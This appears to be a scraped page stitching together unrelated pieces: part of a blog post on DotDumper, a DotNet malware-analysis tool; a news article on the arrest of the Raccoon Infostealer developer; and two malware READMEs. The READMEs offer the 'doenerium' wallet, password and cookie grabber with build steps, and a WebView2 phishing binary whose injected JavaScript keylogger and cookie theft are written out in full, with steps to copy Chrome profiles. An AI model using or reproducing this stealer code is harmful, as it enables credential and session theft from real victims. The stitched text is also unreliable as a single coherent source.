Finally, the function’s return type and value are stored, along with the type, name, and value of each argument that is passed to the hooked function. If any variable is larger than 100 bytes in size, it is stored on the disk instead. A reference is then inserted in the log to reference the file, rather than showing the value. The threshold has been set to avoid hiccups in the printing of the log, as some arrays are thousands of indices in size.
Per Microsoft’s documentation, reflection is best summarized as “[…] provides objects that encapsulate assemblies, modules, and types”. In short, this allows the dynamic creation and invocation of DotNet classes and functions from the malware sample. DotDumper contains a reflective loader which allows an analyst to load and analyze both executables and libraries, as long as they are DotNet Framework based.
To utilize the loader, one has to opt to overwrite the entry point in the command-line interface, specify the class (including the namespace it resides in) and function name within a given file. Optionally, one can provide arguments to the specified function, for all native types and arrays thereof. Examples of native types are int, string, char, and arrays such as int[], string[], and char[]. All the arguments are to be provided via the command-line interface, where both the type and the value are to be specified.
Not overriding the entry point results in the default entry point being used. By default, an empty string array is passed towards the sample’s main function, as if the sample is executed without arguments. Additionally, reflection is often used by loaders to invoke a given function in a given class in the next stage. Sometimes, arguments are passed along as well, which are used later to decrypt a resource. In the aforementioned AgentTesla sample, this exact scenario plays out. DotDumper’s invoke related hooks log these occurrences, as can be seen below.
The function name in the first line is not an internal function of the DotNet Framework, but rather a call to a specific function in the second stage. The types and names of the three arguments are listed in the function signature. Their values can be found in the function argument information section. This would allow an analyst to load the second stage in a custom loader with the given values for the arguments, or even do this using DotDumper by loading the previously dumped stage and providing the arguments.
Before going into managed hooks, one needs to understand how hooks work. There are two main variables to consider here: the target function and a controlled function which is referred to as the hook. Simply put, the memory at the target function (i.e. Assembly.Load) is altered to instead to jump to the hook. As such, the program’s execution flow is diverted. The hook can then perform arbitrary actions, optionally call the original function, after which it returns the execution to the caller together with a return value if need be. The diagram below illustrates this process.
Knowing what hooks are is essential to understand what managed hooks are. Managed code is executed in a virtual and managed environment, such as the DotNet runtime or Java’s virtual machine. Obtaining the memory address where the managed function resides differs from an unmanaged language such as C. Once the correct memory addresses for both functions have been obtained, the hook can be set by directly accessing memory using unsafe C#, along with DotNet’s interoperability service to call native Windows API functionality.
Since DotDumper is written in pure C# without any external dependencies, one can easily extend the framework using Visual Studio. The code is documented in this blog, on GitHub, and in classes, in functions, and in-line in the source code. This, in combination with the clear naming scheme, allows anyone to modify the tool as they see fit, minimizing the time and effort that one needs to spend to understand the tool. Instead, it allows developers and analysts alike to focus their efforts on the tool’s improvement.
With the goal and features of DotDumper clear, it might seem as if there’s overlap with known publicly available tools such as ILSpy, dnSpyEx, de4dot, or pe-sieve. Note that there is no intention to proclaim one tool is better than another, but rather how the tools differ.
DotDumper’s goal is to log and dump crucial, contextualizing, and common function calls from DotNet targeting samples. ILSpy is a DotNet disassembler and decompiler, but does not allow the execution of the file. dnSpyEx (and its predecessor dnSpy) utilise ILSpy as the disassembler and decompiler component, while adding a debugger. This allows one to manually inspect and manipulate memory. de4dot is solely used to deobfuscate DotNet binaries, improving the code’s readability for human eyes. The last tool in this comparison, pe-sieve, is meant to detect and dump malware from running processes, disregarding the used programming language. The table below provides a graphical overview of the above-mentioned tools.
DotDumper is under constant review and development, all of which is focused on two main areas of interest: bug fixing and the addition of new features. During the development, the code was tested, but due to injection of hooks into the DotNet Framework’s functions which can be subject to change, it’s very well possible that there are bugs in the code. Anyone who encounters a bug is urged to open an issue on the GitHub repository, which will then be looked at. The suggestion of new features is also possible via the GitHub repository. For those with a GitHub account, or for those who rather not publicly interact, feel free to send me a private message on my Twitter.
Needless to say, if you've used DotDumper during an analysis, or used it in a creative way, feel free to reach out in public or in private! There’s nothing like hearing about the usage of a home-made tool!
There is more in store for DotDumper, and an update will be sent out to the community once it is available!
A 26-year-old Ukrainian man is awaiting extradition from The Netherlands to the United States on charges that he acted as a core developer for Raccoon, a popular “malware-as-a-service” offering that helped paying customers steal passwords and financial data from millions of cybercrime victims. KrebsOnSecurity has learned that the defendant was busted in March 2022, after fleeing mandatory military service in Ukraine in the weeks following the Russian invasion.
Ukrainian national Mark Sokolovsky, seen here in a Porsche Cayenne on Mar. 18 fleeing mandatory military service in Ukraine. This image was taken by Polish border authorities as Sokolovsky’s vehicle entered Germany. Image: KrebsOnSecurity.com.
The U.S. Attorney for the Western District of Texas unsealed an indictment last week that named Ukrainian national Mark Sokolovsky as the core developer for the Raccoon Infostealer business, which was marketed on several Russian-language cybercrime forums beginning in 2019.
Raccoon was essentially a Web-based control panel, where — for $200 a month — customers could get the latest version of the Raccoon Infostealer malware, and interact with infected systems in real time. Security experts say the passwords and other data stolen by Raccoon malware were often resold to groups engaged in deploying ransomware.
Working with investigators in Italy and The Netherlands, U.S. authorities seized a copy of the server used by Raccoon to help customers manage their botnets. According to the U.S. Justice Department, FBI agents have identified more than 50 million unique credentials and forms of identification (email addresses, bank accounts, cryptocurrency addresses, credit card numbers, etc.) stolen with the help of Raccoon.
The Raccoon v. 1 web panel, where customers could search by infected IP, and stolen cookies, wallets, domains and passwords.
The unsealed indictment (PDF) doesn’t delve much into how investigators tied Sokolovsky to Raccoon, but two sources close to the investigation shared more information about that process on condition of anonymity because they were not authorized to discuss the case publicly.
According to those sources, U.S. authorities zeroed in on an operational security mistake that the Raccoon developer made early on in his posts to the crime forums, connecting a Gmail account for a cybercrime forum identity used by the Raccoon developer (“Photix”) to an Apple iCloud account belonging to Sokolovsky. For example, the indictment includes a photo that investigators subpoenaed from Sokolovsky’s iCloud account that shows him posing with several stacks of bundled cash.
A selfie pulled from Mark Sokolovsky’s iCloud account. Image: USDOJ.
When Russia invaded Ukraine in late February 2022, Sokolovsky was living in Kharkiv, a city in northeast Ukraine that would soon come under heavy artillery bombardment from Russian forces. Authorities monitoring Sokolovsky’s iCloud account had spent weeks watching him shuttle between Kharkiv and the Ukrainian capital Kyiv, but on Mar. 18, 2022, his phone suddenly showed up in Poland.
Investigators learned from Polish border guards that Sokolovsky had fled Ukraine in a Porsche Cayenne along with a young blond woman, leaving his mother and other family behind. The image at the top of this post was shared with U.S. investigators by Polish border security officials, and it shows Sokolovsky leaving Poland for Germany on Mar. 18.
At the time, all able-bodied men of military age were required to report for service to help repel the Russian invasion, and it would have been illegal for Sokolovsky to leave Ukraine without permission. But both sources said investigators believe Sokolovsky bribed border guards to let them pass.
Authorities soon tracked Sokolovsky’s phone through Germany and eventually to The Netherlands, with his female companion helpfully documenting every step of the trip on her Instagram account. Here is a picture she posted of the two embracing upon their arrival in Amsterdam’s Dam Square:
Authorities in The Netherlands arrested Sokolovsky on Mar. 20, and quickly seized control over the Raccoon Infostealer infrastructure. Meanwhile, on March 25 the accounts that had previously advertised the Raccoon Stealer malware on cybercrime forums announced the service was closing down. The parting message to customers said nothing of an arrest, and instead insinuated that the core members in charge of the malware-as-a-service project had perished in the Russian invasion.
“Unfortunately, due to the ‘special operation,’ we will have to close our Raccoon Stealer project,” the team announced Mar. 25. “Our team members who were responsible for critical components of the product are no longer with us. Thank you for this experience and time, for every day, unfortunately everything, sooner or later, the end of the WORLD comes to everyone.”
Sokolovsky’s extradition to the United States has been granted, but he is appealing that decision. He faces one count of conspiracy to commit computer fraud; one count of conspiracy to commit wire fraud; one count of conspiracy to commit money laundering, and one count of aggravated identity theft.
Sources tell KrebsOnSecurity that Sokolovsky has been consulting with Houston, Tx.-based attorney F. Andino Reynal, the same lawyer who represented Alex Jones in the recent defamation lawsuit against Jones and his conspiracy theory website Infowars. Reynal was responsible for what Jones himself referred to as the “Perry Mason” moment of the trial, wherein the plaintiff’s lawyer revealed that Reynal had inadvertently given them an entire digital copy of Jones’s cell phone. Mr. Reynal did not respond to requests for comment.
If convicted, Sokolovsky faces a maximum penalty of 20 years in prison for the wire fraud and money laundering offenses, five years for the conspiracy to commit computer fraud charge, and a mandatory consecutive two-year term for the aggravated identity theft offense.
The Justice Department has set up a website — raccoon.ic3.gov — that allows visitors to check whether their email address shows up in the data collected by the Raccoon Stealer service.
Fully Undetected Grabber (Grabs Wallets, Passwords, Cookies, Modifies Discord Client Etc.)
Install Node.js
Install Visual studio with C++ compilers and all enabled (is a bit gigs but u wont have errors)
Run install.bat file to install all necessary files
Replace WEBHOOK with your webhook in config.js
Run build.bat and wait for doenerium-win.exe to be built.
Exodus wallet injection (get the password whenever the user logs in the wallet)- More grabbers (VPN's, Gaming, Messengers)
- Keylogger
- Growtopia stealer
- Discord bot to build within discord ($build <webhook_url>)
- Dynamic encryption
By downloading this, you agree to the Commons Clause license and that you're not allowed to sell this repository or any code from this repository. For more info see commonsclause
There is no official telegram server of this project. I don't own t.me/doenerium
I am not responsible for any damages this software may cause. This was made for personal education.
Credits to Pandoric / PandoricGalaxy for creating this beautiful README file
Please read this blog post to get more information.
This code is a modified version of Microsoft's WebView2 Code. The current code can be cleaned up and made much better.
Tested on Windows 10 & 11.
When the binary is executed https://office.com/login is loaded up. A JavaScript keylogger is injected into every page and keystrokes are sent to http://127.0.0.1:8080. Furthermore, upon the user successfully authenticating the cookies for login.microsoftonline.com are base64-encoded and sent to http://127.0.0.1:8080 via an HTTP GET request.
If you'd like to modify the JavaScript the code that needs to be changed is shown below at line 1096 in AppWindow.cpp.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2 allows you to launch with an existing User Data Folder (UDF) rather than creating a new one. The UDF contains all passwords, sessions, bookmarks etc. Chrome's UDF is located at C:\Users\<username>\AppData\Local\Google\Chrome\User Data. We can simply tell WebView2 to start the instance using this profile and upon launch extract all cookies and transfer them to the attacker's server.
The only catch is that WebView2 looks for a folder called EBWebView instead of User Data (not sure why). Copy the User Data folder and rename it to EBWebView.
At line 41 in app.cpp:
std::wstring userDataFolder(L""); to std::wstring userDataFolder(L"C:\\Path\\To\\Temp");
EBWebView folder which WebView2 will read from.At line 40 in ScenarioCookieManagement.cpp:
GetCookiesHelper(L"https://login.microsoftonline.com"); to GetCookiesHelper(L"");
When GetCookiesHelper is invoked without any website being provided it will extract all cookies.
Note: This will not work with the current application if there is a large quantity of cookies because the application sends them using a GET Request which has a length limit.
If you'd like to make modifications to the binary you'll find information about the important functions below.
GetUri() function has the URL that is loaded upon binary execution.SendCookies() function contains the IP address and port where the cookies are sent.CallCookieFunction() function waits until the URL starts with https://www.office.com/?auth= and calls ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")
POPUP values to "".IDS_APP_TITLE and IDC_WEBVIEW2APISAMPLE. This is the name of the application in the title bar.IDI_WEBVIEW2APISAMPLE and IDI_WEBVIEW2APISAMPLE_INPRIVATE and IDI_SMALL. These point to a .ico file which is the icon for this application.itemHeight must be set to 0 to remove the top menu. This is already taken care of in this code.LoadImage() should be commented out. This hides the blue splash image. This is already taken care of in this code.new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); change the last param value to true. This hides the toolbar. This is already taken care of in this code.
